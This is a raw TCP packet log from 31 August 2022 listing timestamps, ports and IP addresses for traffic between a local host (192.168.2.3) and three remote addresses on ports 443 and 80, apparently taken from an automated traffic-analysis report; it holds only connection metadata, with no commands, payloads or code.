Aug 31, 2022 08:34:45.676959038 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.677023888 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.677063942 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.677076101 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.677113056 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.677119970 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.677165031 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.677597046 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.677611113 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683094025 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683176041 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683192968 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.683213949 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683285952 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683288097 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.683311939 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683366060 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.683407068 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683521032 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.683561087 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.683571100 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.712282896 CEST	80	49773	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.712440968 CEST	49773	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.712769032 CEST	49773	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.714095116 CEST	49773	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.729729891 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.729753017 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.768562078 CEST	80	49773	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.771414995 CEST	80	49773	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.786132097 CEST	80	49773	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.786235094 CEST	49773	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.786309004 CEST	49773	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.809957027 CEST	49774	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.843672991 CEST	80	49773	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.867558002 CEST	80	49774	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.870421886 CEST	49774	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.870645046 CEST	49774	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.870660067 CEST	49774	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.902048111 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902091026 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902126074 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902163982 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.902189016 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902204990 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.902241945 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902280092 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902282000 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.902292013 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902321100 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902326107 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.902333975 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.902371883 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.903809071 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.903820038 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.903867006 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.903887987 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.903920889 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.903930902 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.904375076 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.904402971 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.904427052 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.904439926 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.904462099 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.905930042 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.905983925 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.906027079 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.906044960 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.906059027 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.906624079 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.906670094 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.906687021 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.906701088 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.906728029 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.907836914 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.907886982 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.907922029 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.907938004 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.907955885 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.909349918 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.909394979 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.909424067 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.909437895 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.909457922 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.910203934 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.910243034 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.910269976 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.910286903 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.910300970 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.912388086 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.912451982 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.912471056 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.912530899 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.919264078 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.919339895 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.928029060 CEST	80	49774	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.953804970 CEST	80	49774	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.953948021 CEST	49774	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.953977108 CEST	49774	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.010109901 CEST	80	49774	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.131508112 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.131623983 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.131656885 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.131695032 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.131711006 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.131720066 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.131742954 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.131755114 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.131768942 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.133716106 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.133788109 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.133810997 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.133838892 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.133860111 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.133869886 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.133900881 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.133908987 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.134043932 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.134048939 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.134258986 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.135628939 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.135710955 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.135713100 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.135737896 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.135771036 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.135788918 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.135793924 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.135819912 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.135879993 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.136876106 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.136931896 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.137011051 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.137032032 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.143732071 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.143806934 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.143835068 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.143887997 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.143942118 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.143953085 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.143996000 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.144071102 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.144130945 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.144181967 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.144229889 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.144318104 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.144382000 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.144437075 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.144490004 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.144573927 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.144638062 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.144661903 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.144746065 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.145957947 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.146099091 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.146116018 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.146141052 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.146177053 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.146245956 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.146300077 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.146312952 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.146365881 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.148323059 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.148401022 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.148427010 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.148494005 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.150510073 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.150656939 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.152784109 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.152879000 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.155492067 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.155597925 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.156301975 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.156450987 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.158998013 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.159131050 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.159176111 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.159202099 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.159231901 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.229773998 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.281163931 CEST	49775	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.357299089 CEST	80	49775	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.358325958 CEST	49775	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.358560085 CEST	49775	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.358658075 CEST	49775	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.361138105 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.361151934 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.361191034 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.361210108 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.361241102 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.361255884 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.361301899 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.361329079 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.361345053 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363167048 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363205910 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363276005 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.363301992 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363322020 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.363620996 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363663912 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363709927 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.363727093 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.363744020 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.364870071 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.364974022 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.364989996 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.365915060 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.366051912 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.366070986 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.370723963 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.370755911 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.370800972 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.370852947 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.370881081 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.370919943 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.371273994 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.371323109 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.371368885 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.371383905 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.371398926 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.379434109 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379458904 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379556894 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.379584074 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379717112 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379749060 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379789114 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379798889 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.379811049 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.379847050 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.379884005 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.381076097 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.381169081 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.381217003 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.381303072 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.384805918 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.384855986 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.384874105 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.384912968 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.384936094 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.384963989 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.385751963 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.385842085 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.385859966 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.386452913 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.386538982 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.386554003 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.388916969 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.389013052 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.389036894 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.389302969 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.389344931 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.389359951 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.389374971 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.389396906 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.391252041 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.391324043 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.391345978 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.392971039 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.393104076 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.393126965 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.395529985 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.395577908 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.395632982 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.395656109 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.395668983 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.396116972 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.396186113 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.396199942 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.401108980 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.401150942 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.401215076 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.401240110 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.401258945 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.401958942 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.402043104 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.402056932 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.403065920 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.403146982 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.403165102 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.404763937 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.404849052 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.404875994 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.406608105 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.406696081 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.406719923 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.418476105 CEST	80	49775	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.439955950 CEST	80	49775	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.440263033 CEST	49775	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.440305948 CEST	49775	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.465085030 CEST	49776	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.492381096 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:46.497970104 CEST	80	49775	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.525633097 CEST	80	49776	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.525814056 CEST	49776	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.525937080 CEST	49776	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.526060104 CEST	49776	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.526679993 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.526709080 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.586188078 CEST	80	49776	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.594379902 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594398022 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594460011 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594482899 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594496965 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594501972 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594536066 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594556093 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594561100 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594571114 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594583988 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594593048 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594599962 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594630957 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594633102 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594644070 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594657898 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594661951 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594686985 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594696045 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594698906 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594723940 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594726086 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594738007 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594759941 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.594772100 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.594800949 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.595635891 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.595700026 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.595724106 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.595746040 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.595758915 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.595952988 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.595997095 CEST	443	49769	104.21.40.196	192.168.2.3
